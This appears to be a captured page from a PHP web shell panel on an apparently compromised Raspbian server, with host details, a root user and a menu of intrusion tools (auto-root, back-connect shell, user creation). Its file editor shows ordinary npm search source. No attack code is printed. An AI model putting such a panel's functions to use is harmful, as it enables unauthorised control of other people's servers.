Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
search /
[ HOME SHELL ]
Name
Size
Permission
Action
all-package-metadata.js
11.64
KB
-rw-r--r--
all-package-search.js
1.53
KB
-rw-r--r--
esearch.js
1.86
KB
-rw-r--r--
format-package-stream.js
4.24
KB
-rw-r--r--
package-filter.js
1.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : esearch.js
'use strict' var npm = require('../npm.js') var log = require('npmlog') var mapToRegistry = require('../utils/map-to-registry.js') var jsonstream = require('JSONStream') var ms = require('mississippi') var gunzip = require('../utils/gunzip-maybe') module.exports = esearch function esearch (opts) { var stream = ms.through.obj() mapToRegistry('-/v1/search', npm.config, function (er, uri, auth) { if (er) return stream.emit('error', er) createResultStream(uri, auth, opts, function (err, resultStream) { if (err) return stream.emit('error', err) ms.pipeline.obj(resultStream, stream) }) }) return stream } function createResultStream (uri, auth, opts, cb) { log.verbose('esearch', 'creating remote entry stream') var params = { timeout: 600, follow: true, staleOk: true, auth: auth, streaming: true } var q = buildQuery(opts) npm.registry.request(uri + '?text=' + encodeURIComponent(q) + '&size=' + opts.limit, params, function (err, res) { if (err) return cb(err) log.silly('esearch', 'request stream opened, code:', res.statusCode) // NOTE - The stream returned by `request` seems to be very persnickety // and this is almost a magic incantation to get it to work. // Modify how `res` is used here at your own risk. var entryStream = ms.pipeline.obj( res, ms.through(function (chunk, enc, cb) { cb(null, chunk) }), gunzip(), jsonstream.parse('objects.*.package', function (data) { return { name: data.name, description: data.description, maintainers: data.maintainers, keywords: data.keywords, version: data.version, date: data.date ? new Date(data.date) : null } }) ) return cb(null, entryStream) }) } function buildQuery (opts) { return opts.include.join(' ') }
Close